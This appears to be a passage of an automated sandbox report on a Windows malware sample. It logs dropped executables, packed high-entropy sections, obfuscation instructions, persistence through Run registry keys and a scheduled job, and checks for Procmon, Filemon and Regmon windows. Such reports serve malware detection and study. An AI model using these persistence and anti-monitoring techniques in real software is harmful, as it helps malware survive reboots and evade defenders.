Source: OR17DXDL5BQ5H62NVD1DH.exe.0.dr Static PE information: section name: onewofgx
Source: OR17DXDL5BQ5H62NVD1DH.exe.0.dr Static PE information: section name: .taggant
Source: XVTAV824L7GG4HFUZ6DTK345T.exe.0.dr Static PE information: section name:
Source: XVTAV824L7GG4HFUZ6DTK345T.exe.0.dr Static PE information: section name: .idata
Source: XVTAV824L7GG4HFUZ6DTK345T.exe.0.dr Static PE information: section name:
Source: XVTAV824L7GG4HFUZ6DTK345T.exe.0.dr Static PE information: section name: dpsjfuxk
Source: XVTAV824L7GG4HFUZ6DTK345T.exe.0.dr Static PE information: section name: eidnloli
Source: XVTAV824L7GG4HFUZ6DTK345T.exe.0.dr Static PE information: section name: .taggant
Source: skotes.exe.4.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name: .idata
Source: skotes.exe.4.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name: dpsjfuxk
Source: skotes.exe.4.dr Static PE information: section name: eidnloli
Source: skotes.exe.4.dr Static PE information: section name: .taggant
Source: random[1].exe.13.dr Static PE information: section name:
Source: random[1].exe.13.dr Static PE information: section name: .idata
Source: random[1].exe.13.dr Static PE information: section name: rouvladw
Source: random[1].exe.13.dr Static PE information: section name: uymctbve
Source: random[1].exe.13.dr Static PE information: section name: .taggant
Source: 51c532c207.exe.13.dr Static PE information: section name:
Source: 51c532c207.exe.13.dr Static PE information: section name: .idata
Source: 51c532c207.exe.13.dr Static PE information: section name: rouvladw
Source: 51c532c207.exe.13.dr Static PE information: section name: uymctbve
Source: 51c532c207.exe.13.dr Static PE information: section name: .taggant
Source: random[1].exe0.13.dr Static PE information: section name:
Source: random[1].exe0.13.dr Static PE information: section name: .rsrc
Source: random[1].exe0.13.dr Static PE information: section name: .idata
Source: random[1].exe0.13.dr Static PE information: section name:
Source: random[1].exe0.13.dr Static PE information: section name: lolfhxxi
Source: random[1].exe0.13.dr Static PE information: section name: swlqukzj
Source: random[1].exe0.13.dr Static PE information: section name: .taggant
Source: cc6c7213b6.exe.13.dr Static PE information: section name:
Source: cc6c7213b6.exe.13.dr Static PE information: section name: .rsrc
Source: cc6c7213b6.exe.13.dr Static PE information: section name: .idata
Source: cc6c7213b6.exe.13.dr Static PE information: section name:
Source: cc6c7213b6.exe.13.dr Static PE information: section name: lolfhxxi
Source: cc6c7213b6.exe.13.dr Static PE information: section name: swlqukzj
Source: cc6c7213b6.exe.13.dr Static PE information: section name: .taggant
Source: 3TJFBHTBUJ4JRCME5DZP9K.exe.15.dr Static PE information: section name:
Source: 3TJFBHTBUJ4JRCME5DZP9K.exe.15.dr Static PE information: section name: .idata
Source: 3TJFBHTBUJ4JRCME5DZP9K.exe.15.dr Static PE information: section name: xvdkgajj
Source: 3TJFBHTBUJ4JRCME5DZP9K.exe.15.dr Static PE information: section name: onewofgx
Source: 3TJFBHTBUJ4JRCME5DZP9K.exe.15.dr Static PE information: section name: .taggant
Source: PK29CODQN9XEGX33RPZ17G59EIZ.exe.15.dr Static PE information: section name:
Source: PK29CODQN9XEGX33RPZ17G59EIZ.exe.15.dr Static PE information: section name: .idata
Source: PK29CODQN9XEGX33RPZ17G59EIZ.exe.15.dr Static PE information: section name:
Source: PK29CODQN9XEGX33RPZ17G59EIZ.exe.15.dr Static PE information: section name: dpsjfuxk
Source: PK29CODQN9XEGX33RPZ17G59EIZ.exe.15.dr Static PE information: section name: eidnloli
Source: PK29CODQN9XEGX33RPZ17G59EIZ.exe.15.dr Static PE information: section name: .taggant
Source: QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe.25.dr Static PE information: section name:
Source: QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe.25.dr Static PE information: section name: .idata
Source: QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe.25.dr Static PE information: section name: xvdkgajj
Source: QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe.25.dr Static PE information: section name: onewofgx
Source: QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe.25.dr Static PE information: section name: .taggant
Source: 8W2ZCDPT7RPT387TG43.exe.25.dr Static PE information: section name:
Source: 8W2ZCDPT7RPT387TG43.exe.25.dr Static PE information: section name: .idata
Source: 8W2ZCDPT7RPT387TG43.exe.25.dr Static PE information: section name:
Source: 8W2ZCDPT7RPT387TG43.exe.25.dr Static PE information: section name: dpsjfuxk
Source: 8W2ZCDPT7RPT387TG43.exe.25.dr Static PE information: section name: eidnloli
Source: 8W2ZCDPT7RPT387TG43.exe.25.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0165393C push ebx; retf 0_3_01653940
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01653897 push eax; iretd 0_3_01653898
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01653910 push ecx; retf 0_3_01653911
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01667050 push cs; iretd 0_3_01667052
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01667050 push cs; iretd 0_3_01667052
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_016644A4 push eax; retf 0_3_016644A9
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_016644A4 push eax; retf 0_3_016644A9
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0166C1B5 push cs; retf 0005h 0_3_0166C1C6
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0166C1B5 push cs; retf 0005h 0_3_0166C1C6
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0166C1B5 push cs; retf 0005h 0_3_0166C1C6
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0166C33F push cs; retf 0005h 0_3_0166C34E
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0166C33F push cs; retf 0005h 0_3_0166C34E
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0166C33F push cs; retf 0005h 0_3_0166C34E
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0166C48A push ecx; retf 0_3_0166C4B0
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0166C48A push ecx; retf 0_3_0166C4B0
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0166C48A push ecx; retf 0_3_0166C4B0
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0166A389 push ss; retf 0005h 0_3_0166A38A
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0166A389 push ss; retf 0005h 0_3_0166A38A
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0166A389 push ss; retf 0005h 0_3_0166A38A
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01641F0C push esi; retf 0_3_01641F1D
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01641F0C push esi; retf 0_3_01641F1D
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01641F0C push esi; retf 0_3_01641F1D
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01641F0C push esi; retf 0_3_01641F1D
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01641F0C push esi; retf 0_3_01641F1D
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01641F0C push esi; retf 0_3_01641F1D
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01667050 push cs; iretd 0_3_01667052
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01667050 push cs; iretd 0_3_01667052
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_016644A4 push eax; retf 0_3_016644A9
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_016644A4 push eax; retf 0_3_016644A9
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0166C1B5 push cs; retf 0005h 0_3_0166C1C6
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0166C1B5 push cs; retf 0005h 0_3_0166C1C6
Source: file.exe Static PE information: section name: entropy: 7.975706851470243
Source: OR17DXDL5BQ5H62NVD1DH.exe.0.dr Static PE information: section name: entropy: 7.792942084590605
Source: XVTAV824L7GG4HFUZ6DTK345T.exe.0.dr Static PE information: section name: entropy: 7.984717540809503
Source: XVTAV824L7GG4HFUZ6DTK345T.exe.0.dr Static PE information: section name: dpsjfuxk entropy: 7.953104749229407
Source: skotes.exe.4.dr Static PE information: section name: entropy: 7.984717540809503
Source: skotes.exe.4.dr Static PE information: section name: dpsjfuxk entropy: 7.953104749229407
Source: random[1].exe.13.dr Static PE information: section name: entropy: 7.975706851470243
Source: 51c532c207.exe.13.dr Static PE information: section name: entropy: 7.975706851470243
Source: random[1].exe0.13.dr Static PE information: section name: lolfhxxi entropy: 7.954139609313276
Source: cc6c7213b6.exe.13.dr Static PE information: section name: lolfhxxi entropy: 7.954139609313276
Source: 3TJFBHTBUJ4JRCME5DZP9K.exe.15.dr Static PE information: section name: entropy: 7.792942084590605
Source: PK29CODQN9XEGX33RPZ17G59EIZ.exe.15.dr Static PE information: section name: entropy: 7.984717540809503
Source: PK29CODQN9XEGX33RPZ17G59EIZ.exe.15.dr Static PE information: section name: dpsjfuxk entropy: 7.953104749229407
Source: QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe.25.dr Static PE information: section name: entropy: 7.792942084590605
Source: 8W2ZCDPT7RPT387TG43.exe.25.dr Static PE information: section name: entropy: 7.984717540809503
Source: 8W2ZCDPT7RPT387TG43.exe.25.dr Static PE information: section name: dpsjfuxk entropy: 7.953104749229407
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File created: C:\Users\user\AppData\Local\Temp\8W2ZCDPT7RPT387TG43.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File created: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File created: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File created: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\num[1].exe Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cc6c7213b6.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 457547ced2.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 51c532c207.exe Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 51c532c207.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 51c532c207.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cc6c7213b6.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cc6c7213b6.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 457547ced2.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 457547ced2.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
